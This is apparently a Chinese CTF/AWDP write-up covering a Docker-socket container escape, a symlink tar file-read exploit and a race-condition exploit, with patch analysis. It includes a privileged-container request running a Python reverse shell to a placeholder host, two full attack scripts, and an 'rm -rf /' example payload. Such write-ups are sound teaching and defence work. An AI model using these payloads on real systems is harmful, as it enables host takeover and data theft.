使用http+unix://%2Fvar%2Frun%2Fdocker.sock/_ping 探活

然後POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/storage-service/exec

{
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["/bin/sh","-lc","cp /flag.txt /app/src/uploads/flag.txt"]
}

會獲取到一個ID

然後POSThttp+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/exec/<ID>/start 內容為

{ "Detach": false, "Tty": false }

接着直接訪問/uploads/flag.txt即可

後續測試了一下,發現掛載docker.sock應該可以玩容器逃逸

POST http+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/create

{
  "Image": "chall-go-storage-bot",
  "Cmd": ["/bin/sh", "-c", "export RHOST=\"<HOST>\";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/host"]
  }
}

然後就會收到一個shell,在/host下掛載着宿主機的根目錄。後續加個ssh密鑰啥的。。。

賽場上想到了不過沒試,估計有防禦措施吧

"""

awdp

Nsl

攻擊腳本

我們的exp(應該比較早期的)

#!/usr/bin/env python3
"""
NSL CTF Exploit - Arbitrary File Read via Symlink Dereference
Target: /flag
"""
# ------------------------------------------------------------------
# 0x00 依賴庫
# ------------------------------------------------------------------
import io, json, os, tarfile, tempfile, requests
from pathlib import Path

# ------------------------------------------------------------------
# 0x01 目標配置
# ------------------------------------------------------------------
TARGET_PORT = 8080          # 靶機端口

# ------------------------------------------------------------------
# 0x02  exploit 主類
# ------------------------------------------------------------------
class NSLExploit:
    def __init__(self, target_host="173.30.3.11", verbose=True):
        self.target_host = target_host
        self.base_url = f"http://{target_host}:{TARGET_PORT}"
        self.session = requests.Session()                 # 複用 cookie
        self.session.headers.update({'Connection': 'close'})
        self.token = None         # JWT
        self.ticket_id = None     # 工單 ID
        self.verbose = verbose

    # 日誌輔助 ------------------------------------------------------------
    def log(self, msg):
        if self.verbose:
            print(msg)

    # ------------------------------------------------------------------
    # 0x03 註冊新用户 → 拿 JWT
    # ------------------------------------------------------------------
    def register_user(self):
        import random, string
        username = 'user_' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        password = 'Pass123!@#'
        self.log(f"[*] Registering user: {username}")
        try:
            resp = self.session.post(
                f"{self.base_url}/api/users/register",
                json={"username": username, "password": password},
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Registration failed: {resp.text}")
                return False
            data = resp.json()
            self.token = data['token']          # 保存 JWT
            self.log(f"[+] Registered successfully, token: {self.token[:20]}...")
            return True
        except Exception as e:
            self.log(f"[-] Registration error: {e}")
            return False
    # 【解析】
    # 後續所有 API 都要帶 Authorization: Bearer <token>,因此先拿身份。

    # ------------------------------------------------------------------
    # 0x04 創建支持工單 → 拿到 ticket_id
    # ------------------------------------------------------------------
    def create_support_ticket(self):
        self.log("[*] Creating support ticket...")
        headers = {"Authorization": f"Bearer {self.token}"}
        try:
            resp = self.session.post(
                f"{self.base_url}/api/support/tickets",
                headers=headers,
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Failed to create ticket: {resp.text}")
                return False
            data = resp.json()
            self.ticket_id = data['id']
            self.log(f"[+] Ticket created: {self.ticket_id}")
            return True
        except Exception as e:
            self.log(f"[-] Ticket creation error: {e}")
            return False
    # 【解析】
    # 工單系統提供“上傳診斷歸檔”功能,服務器會:
    # 解壓 → 按 manifest 列表重新打包 → 讓用户下載。
    # 我們對 manifest 寫入軟鏈,即可誘導服務端把任意文件讀進來。

    # ------------------------------------------------------------------
    # 0x05 構造惡意 tar(核心攻擊載荷)
    # ------------------------------------------------------------------
    def create_malicious_tar(self):
        self.log("[*] Creating malicious tar archive with symlink to /flag...")
        buf = io.BytesIO()
        with tarfile.open(mode='w', fileobj=buf) as tar:
            # 1) manifest.json —— 告訴服務器“請打包 flag_link”
            manifest = {"includes": ["manifest.json", "flag_link"]}
            manifest_data = json.dumps(manifest).encode('utf-8')
            manifest_info = tarfile.TarInfo(name='manifest.json')
            manifest_info.size = len(manifest_data)
            tar.addfile(manifest_info, io.BytesIO(manifest_data))

            # 2) 軟鏈 flag_link -> /flag
            symlink_info = tarfile.TarInfo(name='flag_link')
            symlink_info.type = tarfile.SYMTYPE   # 關鍵:類型設為符號鏈接
            symlink_info.linkname = '/flag'       # 指向靶機根目錄下的 /flag
            tar.addfile(symlink_info)
        buf.seek(0)
        self.log("[+] Malicious tar created")
        return buf
    # 【解析】
    # 漏洞點:服務端解壓後,第二次打包時如果跟隨軟鏈(readlink+open),
    # 就會把 /flag 實體內容複製進新 tar,我們下載即可讀到。

    # ------------------------------------------------------------------
    # 0x06 上傳惡意 tar
    # ------------------------------------------------------------------
    def upload_tar(self, tar_buf):
        self.log(f"[*] Uploading tar to ticket {self.ticket_id}...")
        headers = {"Authorization": f"Bearer {self.token}"}
        files = {'archive': ('payload.tar', tar_buf, 'application/x-tar')}
        try:
            resp = self.session.post(
                f"{self.base_url}/api/support/tickets/{self.ticket_id}/upload",
                headers=headers,
                files=files,
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Upload failed: {resp.text}")
                return False
            self.log(f"[+] Upload successful: {resp.json()}")
            return True
        except Exception as e:
            self.log(f"[-] Upload error: {e}")
            return False

    # ------------------------------------------------------------------
    # 0x07 下載服務端重新打包後的“診斷bundle”
    # ------------------------------------------------------------------
    def download_bundle(self):
        self.log(f"[*] Downloading diagnostic bundle...")
        headers = {"Authorization": f"Bearer {self.token}"}
        try:
            resp = self.session.get(
                f"{self.base_url}/diagnostics/bundle",
                params={"ticket": self.ticket_id},
                headers=headers,
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Download failed: {resp.text}")
                return None
            self.log(f"[+] Bundle downloaded ({len(resp.content)} bytes)")
            return resp.content
        except Exception as e:
            self.log(f"[-] Download error: {e}")
            return None
    # 【解析】
    # 此時返回的 tar 裏,flag_link 已被解引用,變成普通文件,大小>0。

    # ------------------------------------------------------------------
    # 0x08 從 bundle 裏提取 flag
    # ------------------------------------------------------------------
    def extract_flag(self, tar_content):
        self.log("[*] Extracting flag from bundle...")
        try:
            buf = io.BytesIO(tar_content)
            with tarfile.open(fileobj=buf, mode='r') as tar:
                members = tar.getmembers()
                self.log(f"[*] Archive contains {len(members)} files:")
                for member in members:
                    self.log(f"    - {member.name} ({member.size} bytes)")

                # 直接讀 flag_link(此刻已是普通文件)
                flag_member = tar.getmember('flag_link')
                flag_file = tar.extractfile(flag_member)
                if flag_file:
                    flag_content = flag_file.read()
                    flag_str = flag_content.decode('utf-8', errors='replace').strip()
                    print(f"\n[+] FLAG FOUND:")
                    print(f"{'='*60}")
                    print(flag_str)
                    print(f"{'='*60}\n")
                    return flag_str
                else:
                    self.log("[-] Could not extract flag_link")
                    return None
        except Exception as e:
            self.log(f"[-] Extract error: {e}")
            return None

    # ------------------------------------------------------------------
    # 0x09 完整攻擊鏈
    # ------------------------------------------------------------------
    def exploit(self):
        if self.verbose:
            print("="*60)
            print(f"NSL CTF Exploit - Target: {self.target_host}")
            print("="*60)

        # 1. 拿身份
        if not self.register_user():
            return None
        # 2. 開工單
        if not self.create_support_ticket():
            return None
        # 3. 造惡意 tar
        tar_buf = self.create_malicious_tar()
        # 4. 上傳
        if not self.upload_tar(tar_buf):
            return None
        # 5. 下載服務端重新打包的 tar
        bundle = self.download_bundle()
        if not bundle:
            return None
        # 6. 讀 flag
        flag = self.extract_flag(bundle)
        return flag

# ------------------------------------------------------------------
# 0x10 命令行入口
# ------------------------------------------------------------------
if __name__ == '__main__':
    import sys
    target_host = sys.argv[1] if len(sys.argv) > 1 else "173.30.3.11"
    exploit = NSLExploit(target_host=target_host, verbose=True)
    flag = exploit.exploit()
    if flag:
        print(f"\n[+] Exploit successful!")
        print(f"[+] Flag: {flag}")
    else:
        print("\n[-] Exploit failed")

“符號鏈接跟隨 → 任意文件讀取” 漏洞(Symlink Dereference / Arbitrary File Read)。
核心思路:把指向系統敏感文件(/flag)的軟鏈塞進上傳壓縮包 → 服務端在“重新打包”時跟隨軟鏈 → 把目標文件內容複製進新壓縮包 → 下載後讀取”

步驟 客户端動作 服務端處理 關鍵問題
① 註冊 & 拿 JWT POST /api/users/register 創建用户,返回 token
② 創建支持工單 POST /api/support/tickets 生成 ticket_id
③ 上傳 tar POST /api/support/tickets/{id}/upload 解壓 → 按 manifest 列表重新打包 → 存盤 服務端跟隨軟鏈
④ 下載 bundle GET /diagnostics/bundle?ticket={id} 把第③步的新 tar 吐給用户 /flag 實體已被複制進來
⑤ 讀 flag 本地解壓讀取 本地讀取普通文件 攻擊完成

修復方案(當時較早版)

🛡️ 修復方案

  方案1:禁用符號鏈接解引用(推薦)

  在 app/routes/diagnostics.py:58 修改:

  # 修復前
  with tarfile.open(mode="w", fileobj=buf, dereference=True) as archive:

  # 修復後
  with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:

  效果:符號鏈接將作為鏈接本身被打包,不會讀取目標文件內容。

  ---
  方案2:禁止上傳符號鏈接

  在 app/routes/support.py:86-89 修改:

  # 修復前
  if member.issym():
      if member_path.exists() or member_path.is_symlink():
          member_path.unlink()
      os.symlink(member.linkname, member_path)

  # 修復後
  if member.issym():
      # 拒絕符號鏈接
      raise HTTPException(
          status_code=status.HTTP_400_BAD_REQUEST,
          detail="symbolic links are not allowed"
      )

  效果:直接拒絕包含符號鏈接的上傳。

  ---
  方案3:驗證符號鏈接目標(深度防禦)

  在 app/routes/support.py 的 _extract_archive 函數中添加驗證:

  if member.issym():
      # 檢查符號鏈接目標是否在允許範圍內
      link_target = Path(member.linkname)
      if link_target.is_absolute():
          raise HTTPException(
              status_code=status.HTTP_400_BAD_REQUEST,
              detail="absolute symlink paths not allowed"
          )

      # 解析符號鏈接的實際目標
      resolved_target = (member_path.parent / member.linkname).resolve()
      try:
          resolved_target.relative_to(staging_root.resolve())
      except ValueError:
          raise HTTPException(
              status_code=status.HTTP_400_BAD_REQUEST,
              detail="symlink target outside staging area"
          )

  效果:只允許指向 staging_root 內部的相對符號鏈接。

  ---
  方案4:完全禁用符號鏈接功能

  在 app/routes/support.py:75 使用過濾器:

  # 修復前
  with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
      for member in archive.getmembers():

  # 修復後
  with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
      # 過濾掉所有符號鏈接和硬鏈接
      regular_files = [m for m in archive.getmembers()
                       if m.isfile() or m.isdir()]
      for member in regular_files:

  ---
  ✅ 推薦修復組合

  最佳實踐:組合方案1 + 方案2

  1. 在 diagnostics.py:58 設置 dereference=False
  2. 在 support.py 拒絕符號鏈接上傳

  # app/routes/diagnostics.py:58
  with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:

  # app/routes/support.py:86-89
  if member.issym():
      raise HTTPException(
          status_code=status.HTTP_400_BAD_REQUEST,
          detail="symbolic links are not allowed"
      )

  ---
  📊 影響範圍

  - 文件:/flag 及系統任意可讀文件
  - 權限:需要認證用户權限(但註冊開放)
  - 嚴重程度:🔴 高危 - 可讀取敏感文件

  ---
  🎓 安全建議

  1. 永遠不要信任用户上傳的歸檔文件內容
  2. 避免使用 dereference=True 處理不可信的符號鏈接
  3. 實施嚴格的路徑驗證和白名單機制
  4. 考慮使用沙箱環境處理用户上傳
  5. 定期安全審計文件操作相關代碼

  ---

(重要)接下來是較後期patch怎麼修的,這裏拿vscode插件對比後面patch包:

image-20251208114639510 hasattr() 是 Python 內置的 “反射”工具函數,用來 快速判斷一個對象是否帶有指定名稱的屬性(或方法),而 不用先把屬性取出來再 try/excepthasattr(obj, 'x') 等價於try: obj.x; return True except AttributeError: return False`只是 更短、不拋異常、更安全

tarfile.add(..., dereference=False) 只會保證“不跟隨”但仍然會把符號鏈接本身當成一個“條目”寫進 tar
​ 而一旦寫進 tar,攻擊者就能在解壓端重新得到這個 symlink,再手動跟隨,照樣可能造成目錄穿越或信息泄露。所以還要加下面的

st = candidate.lstat()                 # 只取 symlink 本身的元數據
if tarfile.stat.S_ISLNK(st.st_mode):   # 發現是鏈接
    continue                           # 直接 continue → 不進 tar
    

1. tarfile.open(..., dereference=True|False)

  • True → 遇到 symlink 時,Phar 會把目標文件內容當普通文件寫進 tar;
  • False → 只把鏈接頭(SYMTYPE)寫進 tar,不跟隨。
    右邊再手動 skip,就連鏈接頭也不寫,實現“零殘留”。

2. os.lstat(path) / path.lstat()

  • 不跟隨符號鏈接,只返回鏈接本身的 inode 信息;
  • os.stat() 區別:stat() 會追到鏈接目標,而我們要的正是“這條路徑到底是不是軟鏈”。

3. tarfile.stat.S_ISLNK(mode)

  • 位運算宏,判斷 st_mode 是否屬於 S_IFLNK
  • 返回 True ⇒ 是軟鏈 ⇒ 立即 continue不進 tar

4. archive.add(..., recursive=False)

  • 默認 True 會把子目錄全部遞歸打包;
  • 設成 False 後,只打包當前指定路徑
    防止出現“目錄裏還有軟鏈”被間接帶進去的小縫隙。

image-20251208114659948

原代碼 修復後 作用
job_body = {**template, **payload.dict(exclude_unset=True)} 刪掉整包合併 杜絕“用户字段覆蓋模板敏感字段”
topic=job_body.get(...) topic = template["topic"] 強制模板值,用户傳任意 topic 失效
privileged=job_body.get(...) privileged = template.get("privileged", False) 強制模板值,無法提權
無類型/白名單校驗 isinstance(incoming, dict) + allowed_keys 參數級白名單,只能改模板已有的 key
無異常 raise HTTPException(400, "invalid params") 畸形輸入立即 400,避免髒數據透傳
攻擊 payload(JSON) 原代碼效果 修復後效果
{"topic":"evil","body":"..."} 成功插隊到 evil topic topic 被強制用模板值,無效
{"privileged":true} 任務標記為高權限,可能越權執行 privileged 被強制用模板值,無法提權
{"params":{"timeout":999,"cmd":"rm -rf /"}} 整個 params 被覆蓋 → 字段注入 只允許改模板已有的 key,新 key 被過濾掉,無法注入
{"params":"i_am_string"} 透傳 string → 下層反序列化炸 500 進入 isinstance 判斷 → 直接 400

image-20251208114801850

行號 左段(原始) 右段(修復) 作用
12-15 if member.issym(): ... os.symlink(...) 整段刪除 不再重建軟鏈
新增 if member.issym() or member.islnk(): raise HTTPException(...) 顯式拒絕任何鏈接 行號
攻擊場景 左段結果 右段結果
上傳 flag_link -> /flag 成功重建軟鏈 → 後續可跟隨讀取 400 拒絕 → 落盤前中斷
目錄穿越軟鏈 ../../../etc/passwd 重建後指向主機任意路徑 400 拒絕 → 無法落地
硬鏈(LNKTYPE)指向高敏感文件 可被重建 → 同樣能跟隨 400 拒絕 → 一併屏蔽

image-20251208114814107

原代碼 修復後代碼 作用
from .database import reset_database 引入“重置/初始化數據庫”函數
reset_database() 在服務器啓動前把數據庫清空或回滾到乾淨狀態

這裏應該是為了讓修復代碼正常生效

image-20251208114836695

改salt值

image-20251208114909684

原代碼 修復後代碼 作用
新增 reset_database() 函數 一鍵清空並重建所有表
內部主動 from . import models 確保 ORM 映射(Base 子類)已加載
Base.metadata.drop_all(bind=engine) 刪除現有表結構
Base.metadata.create_all(bind=engine) 按當前模型定義重新建表

生產環境別這麼搞

B-notes

攻擊腳本

我們的exp(應該比較早期的)

#!/usr/bin/env python3
"""
CTF Web Challenge - B-Notes Final Exploit
利用競態條件創建10個筆記,然後訪問/prize獲取flag
"""

import requests
import threading
import time
import random
import re

BASE_URL = "http://173.30.4.11"

def register_user():
    """註冊一個新用户"""
    print("[*] 註冊新用户...")
    session = requests.Session()

    username = f"hacker{random.randint(10000, 99999)}"
    password = "password123"
    email = f"{username}@test.com"

    register_data = {
        'username': username,
        'password': password,
        'email': email
    }

    resp = session.post(f"{BASE_URL}/register", data=register_data, allow_redirects=True)

    # 驗證註冊成功
    profile_resp = session.get(f"{BASE_URL}/profile")
    if profile_resp.status_code == 200:
        print(f"[+] 用户註冊成功: {username}")
        return session, username
    else:
        print("[-] 註冊失敗")
        return None, None

def create_note(session, thread_id):
    """創建一個筆記"""
    try:
        note_data = {
            'title': f'Note {thread_id} - {random.randint(1000, 9999)}',
            'content': f'Content for thread {thread_id}',
            'category_id': 'cat-1',
            'is_public': '1'
        }

        resp = session.post(f"{BASE_URL}/notes", data=note_data, allow_redirects=False)

        # 檢查是否成功(302重定向表示成功)
        if resp.status_code == 302:
            print(f"[+] 線程 {thread_id}: 筆記創建成功")
            return True
        else:
            print(f"[-] 線程 {thread_id}: 失敗 (狀態碼: {resp.status_code})")
            return False
    except Exception as e:
        print(f"[-] 線程 {thread_id}: 異常 - {e}")
        return False

def race_condition_attack(session, num_threads=15):
    """利用競態條件併發創建多個筆記"""
    print(f"\n[*] 啓動競態條件攻擊 - 使用 {num_threads} 個線程...")

    threads = []
    results = []

    def worker(tid):
        success = create_note(session, tid)
        results.append(success)

    # 創建並啓動所有線程
    for i in range(num_threads):
        t = threading.Thread(target=worker, args=(i,))
        threads.append(t)

    # 儘可能同時啓動所有線程
    for t in threads:
        t.start()

    # 等待所有線程完成
    for t in threads:
        t.join()

    success_count = sum(results)
    print(f"\n[*] 攻擊完成: {success_count}/{num_threads} 個筆記創建成功")
    return success_count

def check_note_count(session):
    """檢查當前用户的筆記數量"""
    resp = session.get(f"{BASE_URL}/my-notes")

    # 嘗試多種方式計數
    count = 0

    # 方法1: 查找特定的HTML模式
    import re
    # 查找notes/{id}的鏈接模式
    note_links = re.findall(r'/notes/[a-zA-Z0-9\-]+', resp.text)
    count = len(set(note_links))  # 去重

    print(f"[*] 檢測到 {count} 個筆記")

    return count

def get_flag(session):
    """訪問/prize端點獲取flag"""
    print("\n[*] 訪問 /prize 端點...")
    resp = session.get(f"{BASE_URL}/prize")

    print(f"[*] 響應內容: {resp.text}")

    # 提取flag
    flags = re.findall(r'flag\{[^}]+\}', resp.text, re.IGNORECASE)

    if flags:
        print("\n" + "="*60)
        print("[+] 成功獲取 FLAG!")
        for flag in flags:
            print(f"[+] FLAG: {flag}")
        print("="*60)
        return flags[0]
    elif 'work hard' in resp.text:
        print("[-] 筆記數量不足,需要至少10個筆記")
        return None
    else:
        print("[-] 未找到flag")
        return None

def main():
    print("="*60)
    print("B-Notes CTF Challenge - Race Condition Exploit")
    print("="*60)

    # 步驟1: 註冊用户
    session, username = register_user()
    if not session:
        print("[-] 無法註冊用户,退出")
        return

    # 步驟2: 利用競態條件創建多個筆記
    # 使用足夠多的併發請求來繞過chance=2的限制
    success_count = race_condition_attack(session, num_threads=15)

    # 等待一下讓服務器處理完所有請求
    time.sleep(2)

    # 檢查實際創建的筆記數量
    actual_count = check_note_count(session)
    print(f"[*] 實際創建的筆記數量: {actual_count}")

    # 步驟3: 嘗試獲取flag
    flag = get_flag(session)

    if not flag:
        print("\n[*] 第一次嘗試失敗,再次發起攻擊...")
        success_count += race_condition_attack(session, num_threads=10)
        time.sleep(2)
        actual_count = check_note_count(session)
        print(f"[*] 實際創建的筆記數量: {actual_count}")
        flag = get_flag(session)

    if flag:
        print(f"\n[+] 攻擊成功!FLAG: {flag}")
    else:
        print("\n[-] 攻擊失敗,可能需要調整併發數或重試")
        print(f"[*] 當前成功創建 {success_count} 個筆記,需要至少 10 個")

if __name__ == "__main__":
    main()

這段腳本利用的是 “創建筆記接口缺乏併發安全保護、服務器用樸素計數器+固定概率校驗” 導致的 條件競爭(Race Condition)漏洞

一句話概括

後端在 /notes 裏先簡單地 count++,再 if count>=10 才能領 flag,但 count 的更新與檢查不是原子操作;於是腳本用 15 條併發請求在同一瞬間“擠”進數據庫,使 count 在競爭窗口內被重複讀取,最終實際插入的筆記數 >10,而服務器還來不及把 count 累加到最新值,就提前返回了“成功”。隨後訪問 /prize 即可滿足 “已有 10 筆記” 的條件,拿到 flag。

靶場常把這種漏洞歸類為 邏輯缺陷 / 併發安全漏洞,在 CTF 裏通常叫 Race Condition條件競爭

下面是ai給的漏洞例子:

把靶場源碼裏“創建筆記”那段邏輯單獨拎出來,就能一眼看見漏洞長什麼樣。下面給出 最常見的 vulnerable 寫法(幾乎所有 CTF 賽題的 Race-condition 都是這個模式):

# notes/views.py  (Django/Flask 通用思路)

def create_note(request):
    user = request.user                      # 1. 取當前用户
    cnt  = Note.objects.filter(owner=user).count()   # 2. 先查當前已有幾篇
    if cnt >= 2:                               # 3. 【概率校驗】只允許 2 篇
        return JsonResponse({'err':'最多2篇筆記'},status=400)

    time.sleep(0.01)                         # 4. 為了方便觀察,有的賽題還故意 sleep

    Note.objects.create(owner=user, ...)     # 5. 真正插入
    # 6. 沒有事務、沒有鎖、沒有唯一約束
    return JsonResponse({'ok':1},status=200)

/prize 裏同理:

def prize(request):
    cnt = Note.objects.filter(owner=request.user).count()
    if cnt < 10:
        return HttpResponse('work harder~')
    return HttpResponse(flag)

漏洞點“長”在哪裏

  1. count()create() 之間 沒有任何原子性/鎖/事務
  2. 兩個併發請求在同一時刻讀到 相同的 cnt(都 < 2),於是都通過校驗;
  3. 數據庫最終卻出現 >2 條記錄
  4. /prize 再統計時,發現已經 ≥10,Flag 就被帶走。

修掉它只需要一句話(用數據庫唯一約束或原子更新):

-- SQL層面
INSERT INTO note(owner,title)
SELECT %s,%s FROM dual
WHERE (SELECT COUNT(*) FROM note WHERE owner=%s) < 2;

或者在 Django 裏:

from django.db import transaction, models

with transaction.atomic():
    if Note.objects.select_for_update().filter(owner=user).count() >= 2:
        raise ValidationError
    Note.objects.create(owner=user, ...)

一眼識別 Race-condition 的特徵
“先 count()insert(),中間沒鎖”——看到這種寫法,就可以直接打併發。

(重要)接下來是較後期patch怎麼修的,這裏拿vscode插件對比後面patch包:

image-20251208104718740

封堵 PHP 流封裝(stream wrapper)注入

image-20251208104909353

阻止上傳 Web 馬敏感配置文件

下面的比較核心

image-20251208104840058

image-20251208105423357

image-20251208110828300

這裏是為了拿到數據庫裏實時、原子的剩餘次數字段,配合後續“原子減一”語句,徹底堵死前面用併發打超筆記數量的 Race Condition。

image-20251208112923559

注意這裏$user是登錄時的從內存拿的並沒有查庫

他加的getchance是為了獲取實時的數量,如圖:

image-20251208111945342

所以如果真的防併發感覺應該在decrementChance這裏再改,這patch包沒改。

$st = $db->prepare(
    'UPDATE users SET chance = chance - 1 WHERE id = ? AND chance > 0'   // 條件
);
$st->execute([$id]);

image-20251208110044172

還有創建的地方改了一下secret

image-20251208111454030

最後這裏改10000

(重要)華為杯補充

本來到這裏就結束了,但看華為杯wp的時候發現了一種有趣打法加上(是的,華為杯改了一點點就把這題幾乎原題放決賽了,很壞了)詳見這位師傅的“華為杯”第四屆中國研究生網絡安全創新大賽決賽部分WriteUp_華為杯第四屆決賽 wp-CSDN博客

在 app/Controllers/NoteController.php 的 store 方法中

public function store(): void {

​ $this->requireAuth();

​ $user = $this->currentUser();

​ if ($user['chance'] <= 0) {

​ \Session::flash('error', 'Only 2 notes per day');

​ $this->redirect('/profile');

​ return;

​ }

​ $title = trim($_POST['title'] ?? '');

​ $content = $_POST['content'] ?? '';

​ $categoryId = $_POST['category_id'] ?? null;

​ $tagInput = $_POST['tags'] ?? '';

​ $isPublic = isset($_POST['is_public']) ? 1 : 0;

​ if (empty($title) || empty($content)) {

​ \Session::flash('error', 'Title and content are required');

​ $this->redirect('/notes/create');

​ return;

​ }

​ $id = $this->noteModel->create([

​ 'user_id' => $user['id'],

​ 'title' => $title,

​ 'content' => $content,

​ 'category_id' => $categoryId,

​ 'is_public' => $isPublic

​ ]);

​ if ($tagInput) {

​ $tagNames = array_map('trim', explode(',', $tagInput));

​ foreach ($tagNames as $tagName) {

​ if (!empty($tagName)) {

​ $tag = $this->tagModel->findOrCreate($tagName);

​ $this->tagModel->attachToNote($id, $tag['id']);

​ }

​ }

​ }

​ $_SESSION['user']['chance'] -= 1;

​ $this->userModel->decrementChance($user['id']);

​ $this->activityLog->log($user['id'], 'create_note', 'note', $id);

​ \Session::flash('success', 'Note created successfully');

​ $this->redirect('/notes/' . $id);

}

image-20251209101219024

image-20251209101243851

​ 代碼順序執行觸發錯誤再卡掉第四步減掉chance的操作。php終止導致步驟 4(扣除次數)未執行,但步驟 2(創建筆記) 已經成功寫入數據庫。天下英雄真如過江之鯽了。

​ 下面是關閉自動提交的設置,這裏如果要防應該是到最後第四步chance結束以後再手動提交:

image-20251209101938114

這些應該就是比較全的(不過我也只是拿了一個較晚的patch包看),歡迎大家補充説明,本人小菜雞一枚~

點個贊再走吧~

-

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.